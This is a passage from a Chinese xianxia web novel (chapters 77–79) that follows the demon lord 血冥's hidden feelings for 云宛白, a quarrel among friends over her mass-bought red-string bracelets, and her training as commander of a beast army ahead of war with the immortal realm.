一瞬间他把所有接近乖乖的异性们都记上了自己的记仇名单,决定一个个地将他们驱赶出乖乖的接触范围之内。 只不过这种过于冲动的心思只生出来了没多久,就被血冥自己给打回了。 然而一回到魔殿,令他心情更不好的画面就出现了。 他远远看见荼玉凑到乖乖身旁,还牵起她的手低头嗅了嗅。 “我靠你狗鼻子啊!”云宛白震惊,“之前你就闻出来了?” “对,”荼玉懂分寸地放开了她的手腕,笑道,“之前隐隐闻出了一些血气,我也没想到是这样的原因。” “厉害厉害。”云宛白冲他竖起了大拇指,“堪比某柚的存在。” “什么?” “没什么,夸你呢。” 见乖乖对荼玉并没有别的心思,相处时的动作也大方敞亮,血冥这才冷冷地收回了眼神,怀着复杂的心情悄悄走开。 除了第一日的当晚他还能够帮上乖乖的忙,后面根本不需要他出手,乖乖就被宿庚他们安排的妥妥当当,非常安稳无痛地度过了初潮。 云宛白已经收拾好了心情,带着满腔的激情继续开始修炼。 唯有血冥仍然心乱如麻,依旧和乖乖分床而眠,半夜迟迟未曾睡下。 一段时间下来,他的状态竟然比之前给乖乖哄睡时还要糟糕。 云宛白担忧地问过他是不是身体不适,血冥只是摇头,也答不出什么来。 血冥这边陷入了僵局,而神思渺那里倒是出现了新的突破口,制定的计划因此高歌猛进。 也多亏了陶灿灿的不安分,在一次又一次地带新人回去后,一直坚定不移支持着她的狼亘彻底被伤到了。 由此因爱生恨,被神思渺一点一点地接近并清洗了他的思维。 可以这么说,神思渺已经将狼亘收拢成了他的人,让郎亘能够亲手报复他曾经最爱的陶灿灿。 大概曾经都在陶灿灿身上摔过一跤,神思渺和狼亘竟意外的很有共同话题,共事起来也极为默契融洽。 神思渺很有信心,既然最爱陶灿灿的人都能够倒戈,那么剩下的那些人他也一定能够逐个攻破,让陶灿灿就此陷入孤立无缘的无助境地,打破那家伙利用陶灿灿拓宽疆域的春秋大梦。 “你别说,狼亘还真是一个人才,这么稀烂的牌都能被他打到现在,也难怪被他辅佐的陶灿灿能够走到今日这个地步。这可是能臣啊。” 神思渺感慨道。 然而他的话并没有人接茬,神思渺扭过头望去就看到血冥一副魂不守舍的样子,显然没有把他的话听到耳朵里。 神思渺不满,伸手就是一拳捶他胸口:“想什么呢?” 血冥这才惊醒,抱歉地低头。 “算了,我猜你现在也听不进去,倒不如说说你吧,你这黑眼圈怎么回事?”神思渺问道。 血冥无力地掀眸叹了一口气,解释了一下近日来发生的所有事,包括乖乖前段时间变暴躁的原因,以及他现在烦闷的心事。 吃瓜比当瓜主要来的有意思的多,神思渺拿出了听天下大事的态度,听得非常认真。 “其实我知道我对乖乖是有一种独占欲的。”血冥平静地说道。 什么外公什么父亲,他通通都不想当。 在向那么多的人求证以及看过那么多的话本之后,哪怕他不能够下一个绝对的判断,但他也应当知道自己对于乖乖的情绪早已不只是所谓的养育之情。 可大业已经逐渐发展到了最后的关键地步,眼前的局势也变得越发紧张。 他设想过,如果说哪一天,哪一天他真的为大义而牺牲,他不希望乖乖因为自己过于伤心的流泪,他愿她能够向着崭新的未来继续走下去。 可从私心来讲,他也同样不愿意看到别的男人陪伴在乖乖的身旁,在某一天陪着乖乖一同前来吊唁自己。 就当他是个矛盾至极的人吧。 眼下除了逃避,他也想不出能够解决情绪的办法。 血冥是一个很诚实的人,在好兄弟神思渺面前,他把所有的心里话都说出了口。 面对这样的信任,神思渺自然也不会取笑他。 慢慢地走到了血冥的身旁,神思渺安慰性揽了揽他的肩膀,一时间也沉默无言。 作为曾经真的对陶灿灿动过心的男人,神思渺能对血冥的心情感同身受。 他还是有资格充当一个情感军师,提一提他的建议。 从第三方的视角来看,血冥和云宛白早与超越了主宠之间的普通情谊,而且他也亲眼验证过,这两个人都愿意为对方付出生命。 到了这种程度,难道他们还能强行骗自己说没有男女之情吗? 不过是一层窗户纸的事儿。 “其实,即便是神也会有七情六欲,你不用太抗拒,也不用被之前的身份所束缚。” 神思渺还是给他指明了一条路:“天下局势变幻莫测,谁又能说得清第二天会发生什么。血冥,我问你,你觉得是从未在一起更遗憾,还是在一起之后被迫分开更遗憾?” 这个问题一经抛出,便让血冥陷入了深深的思索之中。 但神思渺并没有放任他自己胡思乱想太久,趁热打铁鼓励道:“你可是魔尊,怎么瞻前顾后畏首畏尾?要我说,冰棘豹对你也并非没有那方面的意思,难道你要等着让你家乖乖先开口?那我可就看不起你了。” “要我说,无论结果怎么样,能有勇气表明心意便是一件好事。就像你说的,如果说事情真的发展到了那一步……也不会再留遗憾了。” 神思渺的话讲的很是直白,只可惜血冥没那么勇敢,依旧顾虑重重,他向神思渺表示自己需要好好考虑考虑。 往深了说,他根本不敢赌这百分之一的可能性。 如果一切都只是他的一厢情愿,乖乖会怎么看他? 血冥不敢想。 第77章 第77章让你批发红绳,这下修罗…… 对于优柔寡断的血冥,神思渺很是不赞同地撇了撇嘴。 平时做事那么的雷厉风行,怎么到了情爱这种小事上反倒踟蹰不前。 大概是政事忙的他实在萎靡,非常需要一些八卦来提提精神。神思渺很想在逗留魔界的这两三日里看上一出好戏,便继续怂恿道: “你要是信我,便大胆地去说出口,她对你也一定有情。” “再说了,你家乖乖又不是什么小孩子,不是还有一条蛇妖在追求她吗?你不行动,多的是涌上来管你叫老丈人的家伙。” 一想到那样的场面,神思渺便忍不住捧腹大笑。 他在人前一贯以清冷威严的形象示人,但到了血冥面前,就只剩下了活泼恶趣味的一面,叫人无可奈何。 “就知道你想看好戏,”血冥扯了扯嘴角,对兄弟扎起刀来毫不留情,“等你哪天眼光靠谱了再给我支招,谁知道你是坑我还是骗我。” 神思渺一噎,坑你骗你这两个词儿有差别吗…… 又一次被迫脱敏,他不禁对血冥冷哼:“不识好人心,大男人敢想敢做敢当,你个怂货还好意思说我。什么忧虑,分明就是胆小。” “你才胆小,我那叫深谋远虑,处处为她考量。” “强者始于行动,弱者才找借口。” “……吃我一刃!” “你偷袭!?看我破空掌——” 争着争着,这两个人莫名其妙就打起来了。 嫌殿内实在太小,两个人的火气也都冒上来了,特意找了一处僻静之地认真交手了一番。 他俩打的那叫一个酣畅淋漓,连日来的郁闷也随着一拳一掌发泄了出来,胸中一片澄空,畅快极了。 到最后他们一同收手,毫无形象地躺在了草地上。 “说认真的,其实能有一个情投意合之人,当真是最大的幸事。” 神思渺仰头望天看云卷云舒,语气悠远地说道。 他跟血冥的经历虽然不同,可两人都对“情”这一字有着极为深刻的理解。 虽然这世间并没有什么爱是能够永恒的,龌龊与黑暗总是藏在爱的名义之下。 但,这些不妨碍他们两个人对“情”这一字报有着极高的期望,因此也不允许人随随便便把掺杂着利益纠葛的感情归结于“爱”。 爱是超越世间万物的。 就像一统天下,这是一种大爱。 只是在实现大爱的同时还能够找到属于自己一个人的小爱 ,那便是一种天赐的幸运。 只可惜他神思渺首战告捷。 “冰棘豹是个好的,”他认真夸赞道,“如果这样的人在你身边你都要错过的话,便再难得了。” 云宛白是由神思渺亲自搜魂鉴定过的大好人,对她的信任也非常之高。 “我知道。” “那我也不再多劝了,你有数就好,”神思渺笑了笑,捶了捶血冥的肩膀,“再啰嗦最后一句,你要记得两个字——无悔。” “嗯,无悔。”血冥郑重点头,若有所思。 —— “不可能,这分明是宛白特意送我的礼物!” 向来淡然处之的荼玉头一次和别人争的脸红脖子粗,即便被宿庚拦着,也依然要冲上前理论一番。 “有什么不可能的,我也有一条啊。” 青云也被激得起了脾气,立马在自己的储物袋里翻箱倒柜。 很快,他找出了那条红绳手链,以胜利者的姿态将它拿出举到荼玉面前。 “看,你看啊,有什么不一样的?”青云嘚瑟道,“忘了告诉你,这些红绳还是当时我陪着老白一同逛街一同挑选的。” 荼玉蹙着眉头眼神闪动,还是不敢相信:“好,我不与你争辩红绳,但这红绳上的吊坠总是不同的吧。” 他一眼就发现了红绳之间的不同,自己的是葫芦吊坠,青云的则是一朵祥云。 光从寓意上来看,似乎是祥云代表的吉祥含义更多一些。但荼玉仍然私心的认为他的葫芦才是最珍重的。 “那怎么了,本来老白还想多送我一条呢,我都没收。你说你,干嘛非要在这件事情上跟我争。”青云气呼呼的。 本来他和荼玉已经算的上是交情不错的好友了,青云去过荼玉那儿烤串,荼玉也来过青云商铺喝酒捧场。 按理说二人不应该争吵成如此境地。 只不过在他们两个人的交情中,偏偏存在着一位不可能忽略的人物——云宛白。 云宛白对他们来说,那就是最最重要的人。 哪怕是友情,也会出现占有嫉妒等心情,谁都想当她最好的朋友。 心理落差最大的还是青云呢,本来他可是老白唯一的朋友,但有了荼玉之后他只能算得上是唯二了。 丢了唯一不要紧,不过“最好的朋友”这个桂冠他必须要拿到手,必须要和荼玉争一争高低。 荼玉在今天意外得知了红绳的“秘密”后,说没有受到打击那是不可能的,他在得知真相时身形几乎摇摇欲坠。 这条红绳手链对他来说意义非凡。对他而言,这不仅是几百年来第一次收到的礼物,更是他第一次“动心”的凭证,也是证明他在宛白心中拥有一席之地的信物。 他知道自己比不过血冥,可只要红绳在手,他都能够拥有一丝慰藉。 尤其在来到魔界之后,这条红绳手链他一直戴在手上从不离身,同时呵护的极为妥当,一直藏于袖口之下不曾被人发觉。 也就是今日帮青云搬花草的时候将袖口提了提,被青云看见后说了一嘴“你也有这条红绳项链”给冲昏了头。 本以为自己起码在某一刻拥有过云宛白独一无二的关注,可现在荼玉才知道……不是的。他对宛白真的就是一个普通朋友。 这怎么能叫他不受打击? 但是在打击之后,荼玉也是个能极快转变情绪的人。当不了“特别的存在”,那他就要当宛白“最特别的朋友”。 这么一来,青云自然成了他的集火对象。 忙着劝架的宿庚很头疼,对于自己这名天姿傲人的弟子他是百般满意,可只要一牵扯到豹儿身上,这孩子就完全没了理智。 这种小事有什么好争的呢?老头表示不理解。 青云就更别提了,魔界混世小魔王,立了功当上客卿长老之后就更加无法无天。 这俩炮仗对上了,那吵的叫一个脑仁疼。 宿庚还不忘将自己的袖口捋了下去,生怕绑在自己手腕上的那条同款红绳被徒儿发现。 唉,没错,豹儿也送过他一条红绳手链,小吊坠是一枚金元宝,可爱的很。 不过宿庚是知道豹儿一口气买了一把的红绳挨个分发的,因为他从豹儿那里领了十几条,发给了与豹儿关系亲近的妖使们。 他以为所有领了红绳的人都知道这回事呢,结果荼玉根本不知情。 这下可尴尬了。 红绳只是一个引头,青云和荼玉从争吵很快就引申开来到了方方面面,挨个论证谁才是云宛白最好的朋友。 就在这鸡飞狗跳之时,血冥不知从哪里得来了消息跑过来看热闹,偷偷隐匿身形藏在了一边,将他们的对话一字不落的落在了耳朵里。 了解完了全貌之后,他默默捋起袖子,望着被他牢牢绑在腕上并时常养护的莲花吊坠陷入了沉默。 哦,原来不是单单送给我一个人的? 血冥本来就有些阴郁的心情,一下子变的更不好了。 他默默将手链摘下捏在掌心,无声无息地离开了。 云宛白对此毫不知情,当她被爷爷叫来此处的时候都不明白到底发生了什么。 被青云叽叽喳喳地解释了一番之后,她更不觉得有什么问题。 大家都是她在乎的人,给每个人送一条手链难道有什么问题吗? 她可从来都没说过红绳是单独送出的礼物,而且她送的时候也很大方敞亮,收到礼物的人互相对一下信息不就什么都知道了。 对于青云和荼玉的相争她更是不理解,好朋友就是好朋友,这怎么还要竞争。 她草草安抚了他俩,对他们的反应其实都没有太放在心上。 可到了晚上,她发现血冥的态度有些冷淡,等到了就寝时间,看血冥脱了外衣后他的手腕上少了一条红绳,云宛白便什么都明白了。 血冥可不是一个把委屈藏在心底的人,他丝毫没有打算掩饰自己的情绪,他就是想让乖乖看出来。 看她紧张兮兮地盯着自己,血冥也没有说什么,轻声道了一声晚安就躺了下去。 如此反常的状态令云宛白很是手足无措。 完蛋。 我送冥冥的时候是不是也没说这是批发的来着?啧嘶…… 云宛白头疼的不行,她试图哄两句,可刚一开口就被冥冥打断说自己没事,让她安心睡觉。 但就是这样什么都不怪罪的态度才最让人害怕。 嘴上道歉是没用的了,还是得用实际行动来挽回。 在意识空间里熬了一整个通宵,云宛白总算找到了能够弥补过错的方法。 她让爷爷带着自己偷偷去明都采买道具,瞒着血冥悄悄赶工,费了好大力气才编了一条不太好看的手链。 这还是她小时候立夏节气编五彩绳的底子,就是时间过的实在太久导致她忘了不少,编出来的形状歪歪扭扭的。 但不管怎么说,这都是她的一片心意。耗时五六天,编了几十条手链,就这条是最不歪的。 云宛白是个手残党,她自知这已经是她水平的天花板了,再编下去不仅折磨自己,也容易让血冥发现异常。 在这一夜的入睡前,她郑重拿出了满是心意的手链送给了他,拍着胸脯向他夸奖自己有多用心有多费功夫,话里话外都表明这条手链她只送给了冥冥,只有冥冥能有这样的待遇。 血冥本就不舍得对她生太 久的气,更何况他也意外乖乖真的把他的情绪放在了心上。 有这份独一无二的关怀,就已经很让他熨帖了。 血冥高兴地接过,还让乖乖亲自绑在了他的手腕上。 “我也有礼物要送你。”血冥说道,随后递出了一枚有些眼熟的荷包。 云宛白接过,拿到手里反复端详了一番,疑惑道:“你之前好像送给我过一枚类似的百宝袋。” “对,我之前说要回去重新加工一下再送给你,你看看有没有好一些?” 不得不说,血冥在经过绣娘指点之后,他的针法技巧确实好了不少,只是这百宝袋大约经历了多次的返工,能看出不少属于生手的密密麻麻的针脚。 有一种荒谬但不是没有可能性的想法萌生了出来。 “冥冥,这不会是你亲手绣的吧?” 血冥沉默了,默认了她的猜测。 云宛白大惊。 他们就这样互相盯着对方对视了许久。 忽然,他们又异口同声地扑哧笑了出来,打破了殿内的寂静。 这下,他们再望向对方的眼眸当中多了一丝丝只有彼此才能够察觉出来的滚烫。 好像从此刻开始,有什么东西已经不一样了。 是什么呢? 第78章 第78章局势愈发紧张,新将准备…… 时间不等人,局势瞬息万变,眨眼间的功夫就变得莫名紧张了起来。 云宛白还来不及从当时那份怦然心动中悟出些什么,她便敏锐地发现世态已经焦灼到了一个新的境界。 往常总说仙魔大战一统大业,可云宛白的生活日常并没有受到太大的影响,也看不出任何这方面的趋势。 但现在不同,魔界已经开始深受影响。 在往返领城和极地冰原的途中,云宛白亲眼见到有不少负了伤的魔族被送回至魔眼。 此魔眼非彼魔眼,这和魔眼堂可没有任何关系。 说是魔眼,倒不如说是魔穴,所在地离魔焰山很近,名气堪比堕魔污泥。 魔眼相当于一处军事要地,战略意义非凡。 凡是负了伤的魔,若身处于魔眼之内调息休养,只要能够撑得住大量的魔力倒灌,不仅能够恢复伤口,甚至还能让自己的实力变得更强。 但要是撑不住,当即就会化为养料被魔眼吸收,供之后的魔继续成长。 这里遵循的唯一法则便是物竞天择,残酷而又温情。 正因为魔眼的特殊性,只有魔战门的将士们才被允许进入其中,平时也有重兵把守着此处,不让任何人接近。 只不过魔眼外头那浩浩荡荡的长队还是极其引人注目的,每次云宛白搭着煞惹龙来回时,总能见到数不尽的魔族成着魔眼方向而去。 若是飞下去仔细瞧上一眼,就能发现每一位魔的眼神都极为坚定,丝毫不悔。 成就大业九死一生,踏入魔眼更是有来无回,成功的少,失败的多。 可在前往魔眼的这条官路上,云宛白没有见到任何一个人私自离开队伍。 他们毫不犹豫地奉献出了自己的一切。 这份紧迫感也切切实实地影响到了云宛白,她不由得加紧训练,争取早日获得认可,能够以正式的身份加入到大军当中。 从目前来看,虽然魔战门的形势有些严峻,但魔界大大小小的城池并未受到太大影响,除了氛围变得凝重一些,大家的日常生活依然有条不紊,显然对魔界、对魔尊的信心十足。 像一些政治嗅觉较差的人,估计连魔界已经开始打仗的这件事都不知道。 不过身处于权力漩涡当中的统妖司,已经确确实实的感受到了风雨欲来的紧迫感。 比如,他们的出行开始变得困难了起来,时不时会遭到仙界的伏击,以此试探魔界情况。 统妖司的日常工作主要围绕着妖兽进行,大部分的时间都还是在司内照顾大大小小的妖兽们。 不过出门寻找遗失的妖兽血脉带回来进行统一管辖,乃是他们的职责所在,不可能因为局势问题避而不出。 再说了,统妖司历经多年的“自力更生”,每一位妖使们早已从单纯的文职变为了能文能武的能将,战力不容小觑。 如今大敌当前三门五堂,忙得不可开交,几乎所有能上战场的人全部涌到了前线,要么就在各自的岗位上发光发热,人手严重不足。 这样一来,在后勤的物资收集上自然弱了不少。 宿庚心怀大义,在这个节骨眼上自然当仁不让。如今他的救治水平几乎可以称得上是魔界最强,那么在药材的搜集上也最有发言权。 为了让更多的魔族战士们能够活下来,能够更好地承受住魔眼的考验,统妖司完全进入了战备状态,每天都有专门的物资小队出去搜寻药材备入药库之中。 宿庚自己也会带队出门,每每都冲在了最前面。 只是,仙界的反扑也比想象中来的更猛烈一些。 这日结束,将近夜幕时分,可统妖司的两支探索小队迟迟未归,不免有些人心惶惶。 就在统妖司群龙无首逐渐骚乱之际,浑身是血的荼玉这才抱着受了伤的宿庚匆匆而归,失态地命人救治。 有宿庚这名大魔医在前,统妖司的妖使们几乎每位都懂点药理,每位都是一名合格的医师。 大家蜂拥而至,赶紧医治他们的主心骨妖使长,当然了,也还是有人记得荼玉的,有两人与荼玉关系不错的妖使赶紧给他看病包扎。 好在宿庚老当益壮,战斗经验也相当丰富。他在受到重击前就及时预判,反应极为迅速地提前一步护住了自己的心脉,还不忘给对面下了狠招,绊住了他们的脚步以保其他成员性命。 虽然他也因此陷入了昏迷,但其实并没有什么大碍。 反倒是荼玉,本来他带着另外一个小队在不远处同步采摘药材,可没想到仙界之人竟同时对两边下手埋伏,令他分身乏术。 他既要护住自己的手下,又担忧另一边的师父,不由得杀心大显化为蛇妖,与仙界之人奋战,还用自己坚硬的蛇皮代手下抗伤。 到最后,这两支小队无一人身亡,但荼玉却是重伤累累。 只是他本人毫无察觉,在看到师傅昏迷过去的样子后早已慌了心神,一路抱他而归。 直到重新踏入统妖司的那一刻,又听着大家伙对师父的诊治结果,他心中一安心气一泄,当即昏了过去。 云宛白在得知消息之后立马赶了过来,和冥冥两人面色凝重。 等宿庚醒来详细交代了当时的情形,而魔谛门那边也把调查出来的消息传了过来,云宛白这才知道了当时的原委。 原来仙界中竟有人摸透了宿庚的身份,知晓了他在魔界的重要性。 除了妖使长这一职之外,他还是魔界起死回生的大魔医,救活了不少被仙界刺杀至重伤的魔门大将。 可以说,杀了宿庚一人,便能给魔界狠狠刮下一层肉。 这样的重要性让仙界不得不大张旗鼓地派出了五支精英小队前来伏击宿庚,命令他们无论付出多大的代价都要让宿庚人头落地。 这五支小队几乎都是死士,不达目的不罢休,每一个人都战至了最后,什么话都不肯吐露。 但总有办法让死人开口的,要不然血冥也不可能将所有消息整合起来,拼凑出了完整的内幕真相。 经此一战,统妖司每个人都憋着一口气。 想让他们打消采摘药材的念头那是绝对不可能的,他们只会更加提高警惕,在碰到仙界那些鸟仙人的时候毫不留情地杀光他们。 而这些人当中,荼玉好战的情绪被调动的最高,当时师父昏迷倒下的场景给他留下了太大的阴影,他绝不允许这样的情形再发生第二次。 除了宛白之外,荼玉最在乎的人就是师父宿庚。 在他来到了魔界之后,是师父率先接纳了他,肯定了他的所有优点,护着他关爱他,让他感受到了什么叫做家人的温暖。 他也早已发誓将师父当成自己最亲的亲人,要为师父养老送终。 可当时他差一点没护住师傅,这让荼玉很是自责,又恨自己的实力还不够强。 可他从小就是野路子出生,尤其在缺少血脉传承之后能够摸到现在这样的修炼境地,已经是当之无愧的天才了。 要想再进一步且不走火入魔,在没有良师带着的情况下,这是一件很难的事。 可他不想当一个连亲人性命都保不全的家伙, 只能憋着一口气埋头修炼,即便找不到窍门他也要厚积薄发,要不然他根本不知道怎样才能发现内心的无力感。 荼玉对宿庚的在乎大家都看在眼底,而且他对魔界的归属感也早已超越了多数,是一位值得信赖的妖。 尤其是血冥,抛开乖乖的因素不谈,荼玉确实是一个值得欣赏的人。 念在荼玉的孝心以及他当时下意识护住统妖司所有人的行为,血冥相信他的立场。 再加上培养他也等同于保护乖乖,血冥特意给荼玉开了小灶,在对战这方面不遗余力地传授了自己的经验。 血冥可是魔界最强者,在小说里也绝对是战力排行榜上保底Top2的存在。 有了他的指点,荼玉进步神速,他主动担任起了探索小队的保卫者,每一次外出行动他都会跟着大家,负责所有人的安全。 而宿庚在伤好了之后,无论怎么劝都要继续去前线继续干活,对歇在家的特殊待遇避如蛇蝎。 云宛白劝了好几回,但宿庚都充耳不闻,还说他自己什么大风大浪没经历过,怎能因为一点小事就止步不前。 魔界的团结意识是独一份的,旁人很难理解。即便是刚懂事没多久的小孩也知晓大义,说着牙牙之语举起拳头愿为魔界而战。 在这种氛围的感染之下,云宛白说不出其他的劝阻之言。 堵不如疏。 与其劝爷爷别上前线,不如自己也去在前线厮杀,争取早日结束这场仙魔大战,让魔界成为最后的胜者。 这样的话,大家不都能安安心心的回家过好日子了? 带着这样的理由她找上了血冥,强烈要求血冥兑现承诺。 之前说好的,只要她能够达到结丹期的银阶便准她上前线,而今她已超常完成目标,以金阶的身份要求加入大军。 这正是她前段时间发了疯一样闭关修炼的成果。 血冥根本没办法拒绝她的请求,一位结丹期金阶的大妖堪比三星魔将,对魔界的助力可不是一星半点。 在这一点上,血冥必须要顾全大局,不能自认为是为了乖乖好就弃魔族将士性命于不顾。 而且他也知道乖乖渴望战场,她这么努力的修炼就是为了这一刻,怎能不成全她? 最终,血冥还是同意了云宛白的请求,让她跟着火灼的军队一起操练。 等她学会军中事务之后就可以担任妖界的统帅,率领从统妖司出去的妖兽大军们共同对战仙界。 也是到了这时候云宛白才知道,为什么统妖司的妖兽数量总是一成不变,明明新找到了那么多的妖兽,可养育幼崽的摇篮数量却始终不增不减。 原来,这些长大后并经受住了忠心考验的妖兽们都被集中起来组建成了妖兽大军,在军中不停修炼提高实力,为的就是在最后的仙魔大战中发挥出他们的力量,让他们发泄被灭族的仇恨。 归根结底,仙界才是导致他们被灭了族的敌人。 为了迎接,也为了让她更好的感受到军中魅力,火灼安排她直接到了妖兽大军,在那里她见到了不少儿时记忆中的面孔,雷羽狮、铁蹄牛、迅眼鹰等等等等,他们都在这里,个个士气如虹。 而现在,就差她这名主将了。 穿上一身战甲的云宛白不由得豪气万丈战意熊熊。 这场仗,目的只有一个。 天下太平!魔界必胜! “带领大军打仗和自己闭关修炼完全不同,你做好准备了吗?”火灼骑着飞震马,威严地问道。 云宛白同样认真地直视着他的目光,不闪不避,炯炯有神: “请门主指教!” 第79章 第79章这句话她还是说…… 这句话她还是说早了。 没想到火灼的“指教”会这么的贴心,简直把她往死里练。 光是驯服由魔息凝成的飞震马,就废了她老大的功夫。 这飞震马是魔眼以及堕魔污泥的伴生物,只有魔尊才能驱使它们凝成,成为魔战门的一大助力。 也只有像飞震马这样能够源源不断生成的消耗品,才能够满足魔界战斗的需要。 最重要的是,飞震马与魔族的契合度最高,组合起来共同战斗的杀伤力极大。 而且飞震马魔息醇厚,如果魔族人不幸身受重伤,还可以直接将飞震马吸收至体内,集魔息之力爆发出致命一击。 有时候战局扭转就在这一瞬间。 所以,飞震马的重要性不言而喻。这可是能保命的好战友啊! 但是,魔眼和堕魔污泥的伴生物需要一定的生长时间,而血冥将其催化的效率也有限。 他不可能每天都待在魔眼和堕魔污泥那里催生飞震马,只会在每月的某天集中起来凝练。 因此,飞震马对于魔族每位将士来说都是极其珍贵的战斗资源。 为了利益最大化,飞震马也将优先供给各位将军以及骁勇善战的骑兵们使用,而且每个使用它的人必须要有掌握驾驭它的本事,才能不愧对它的巨大作用。 云宛白也领取到了属于自己的飞震马,可她上辈子(现实世界)和这辈子都没骑过马,原本身穿战甲的英姿飒爽,在马上瞬间破了功。 她东倒西歪,根本控制不了马头的方向,别说人马合一提枪练习了,她连稳住自己的重心都难。 “飞震马你都没骑过?我真怀疑尊主到底是怎么想的,还什么修炼天才。” 火灼一顿嘲讽输出,坐在马上居高临下地看着她。 身为主将,那可是统帅全军的存在,更别说云宛白是个结丹期金阶的妖界天才,火灼对她寄予的厚望极高。 无论是出于对她本人的负责还是对全军安危的保障,火灼都必须要对她严厉要求才行。 为了让云宛白能够最短时间内快速成长为一军统帅,火灼可谓是想尽了办法。 云宛白之前和火灼打过交道,以为他还算是个好说话的前辈,结果真被上手“指教”之后她才知道火灼有多严格。 他特意召来了云宛白相熟的妖族人与她一同训练,火灼与云宛白的马上对打也是在大家伙的注视下进行。 可以这么说,在这么多的大将面前,云宛白被教训的什么面子都没了。 哪里还有什么主将之风,她没被打飞出去生出阴影就不错了。 单体对战的经验放在军中完全不够看,云宛白要学习的东西还有很多。 …… 半月后。 云宛白结束了日常的训练,从马背上一跃而下,飞震马打了一个响鼻,被云宛白拍了拍屁股后慢悠悠走到了一边。 她雪白的皮肤已经被晒成了属于强者的浅麦色,脸上的青涩褪去,浮躁的气息下沉,曾经的天真幼 稚被坚毅的眼神和挺拔的身形所取代。 这么一看,她倒是真的拥有了身为主将的威严,只要她在,就如一根定海神针稳住了所有将士们的心,跟随着她冲锋。 血冥也曾偷偷来军中几次探望乖乖,被乖乖飞速的蜕变震到惊叹。虽然心疼,但更多的还是骄傲。 看,这就是他的乖乖。 只不过火灼是不是对她的要求太高了?血冥本想劝说几句,但转念一想,现在苦一会儿,总比在战场上受了伤要好。 算了,倒不如再严一些。 有了尊主的命令,本就对云宛白有着极高期望和极大满意的火灼更加用心了,他把自己所有的对战经验倾囊相授,鼓励与批评并行,叫她行事千万谨慎小心,绝对不能大意。 这些是心态上的。 在对敌方面,必须要足够自信,用强大的气势压倒对方,在第一个照面就要让敌方畏惧胆怯。 在这点上,云宛白还有的学。 关于冥冥钦点的特殊关照,云宛白一无所知。 在军中度过的这段时间,她都来不及思念冥冥和爷爷,满脑子都是第二天我要怎么做才能做的更好,心中的那根弦一直紧绷着。 这日,她带领着全军一同训练,在经受住了来自火灼特训队的对练后,她累的直接瘫在地上大喘气。 她的兵也都累坏了,不过有主将护着,他们的体力还留存了许多。 在云宛白慢慢恢复力气坐起来的时候,一道人影坐在了她的身边。 “怎么样,还适应吗?”一名男子问道。 云宛白侧目过去,心中疑惑这是谁,但嘴上已经应道:“还行。” 顿了顿,她狐疑地加了一句:“我是不是哪里见过你?” 总感觉这家伙身上透着莫名的熟稔。 “哦,我忘了你没见过我的人形。”这人晃了晃脑袋,露出了一颗牛头,随后又变回了人。 “铁蹄牛?等等……你是睡我旁边的老铁?!”云宛白努力辨认了一会儿,惊喜地叫了出来。 这可是她刚到统妖司那会儿,就睡在她隔壁摇篮天天打呼噜磨牙的老铁啊! “你居然还在!我以为你真的从统妖司里偷跑了呢,你也来参军了啊。” “是啊。”老铁笑了笑,对于云宛白能够认出自己这件事颇有些骄傲。 看来妖族的天才大人没忘了他这位儿时好友啊。 “你难道没发觉,从统妖司里逃跑的妖兽有点多吗?”老铁反问道。 云宛白讪讪一笑,后来她沉迷修炼呢,还真没太关注。 “也不怪你,是我们先一步到了启蒙心智的时期,就被妖使长带去了兽冢,向我们说明了当年的真相。”老铁回忆起了往昔。 “所以,你们都来到了军队。”云宛白帮他接着往下说道。 “没错,”老铁点头,“我们都在军中训练,偶尔出个任务。当年在统妖司里一起光屁股蛋头挨脚睡觉的兄弟姐妹们,基本都在这里重聚了。” 云宛白点点头,一时间也不知道该说些什么。 虽然她对当年的摇篮伙伴们还有印象,但说实在的,大家之间的交集并不多,叙旧两三句之后也就没了话题。 正当她有些尴尬的时候,老铁开口:“其实,我找你讲话不是为了叙旧,更不是为了拿交情做什么。” 他认真地看向云宛白,眸色郑重:“我知道你背负了许多,心中一直紧着一口气。我想说的是,其实我们大家都认识你,都算是从小一起长大的朋友。” “我们也都知道你的性格和实力,对于你这样的修炼天才来当主将,我们没有不服,更多的是真心欢迎,也是真心愿意听你的号令。” 他们之所以在军中没出真正的任务,就是在等他们的主将归队。 “我知道你想保护我们所有人,但是战场上哪有什么万无一失,唯有尽力二字。你只管做好主将,剩下的交给我们就好。” “与敌人厮杀是我们的使命,你也一样,而不是用杀敌人的刀来保护我们。” 铁蹄牛一针见血地指出了云宛白的问题,他发现主将除了在攻击敌方时,仍会回头照顾拼杀的战士。 虽然大家都很感动,但这无疑不是主将的职责所在。 火灼不好直言相劝,便只有由战士自己来开口了。 “可……”云宛白还想再说些什么。 “我们早已无牵无挂,说实在的,一想到报仇之后的生活,我都不知道我到底还能再做些什么。”老铁很坦诚。 “但我知道,一旦仙魔大战打响,若不能尽快把仙界打倒的话,我们损失的兄弟姐妹们只会更多。将军,你要记得,你的目光必须往前不能向后。而我们,我们的目标就是追随着你厮杀。” “只有这样,我们才能活下去。” 凡是加入军中的战士们,大抵都有这样的觉悟。 云宛白是一名善良的主将,这一点大家都知道,也很感恩。 但是,大家也更希望主将能一往无前,不要被他们拖累了步伐。 当魔界的旗帜插满仙界之时,妖界的战士们才算是真正获得了自由。 铁蹄牛说不出太高深的话,他只是把自己的想说的尽可能表达了出来。 云宛白听懂了,她的神色极为复杂。 半晌,她叹了一口气:“我知道了。” “那就好。”铁蹄牛像是干成了什么大事一样咧开嘴傻笑。 云宛白盯着他。 笨蛋,你明明是在劝我别保你们啊,怎么还能笑的这么开心。 云宛白心中苦涩,对于即将到来的战争再也没有了所谓的雄心,只剩下了对战争的厌恶。 这一仗,是为了不再打仗。 她在心中告诫自己。 随着云宛白的极速成长,她已经完美达成了火灼对她的要求标准。 通过了出师考验后,火灼便放心大胆地让她带着队伍参加实战,先从小型的战役开始,逐步适应战斗并找到属于她的作战风格,找到与仙界对战的状态。 大大小小的战斗喂下来,云宛白的指挥能力也日益成熟,她手底下的妖军也逐渐成长为了一支成熟的军队。 除了每每都能取得胜利之外,他们也损失了许多的兄弟姐妹。 就在大家的怒火已经燃烧得正旺时,酝酿了不知道多久的仙魔大战终于打响了。 血冥和神思渺一同做局,以天下正道之名向彼此宣战,让原定的仙魔大战提前一步开启。 说是仙魔大战,但归根结底是魔尊血冥率领魔界同神思渺及他手下一同合力,对战被神界污染了品性的一众仙界反党,包括陶灿灿他们。 如此一来,整体战争的复杂性更强,变数也会更多。 云宛白知道魔界早已准备充足,更何况这次有神思渺站在血冥这边,最终结果应当是十拿九稳的。 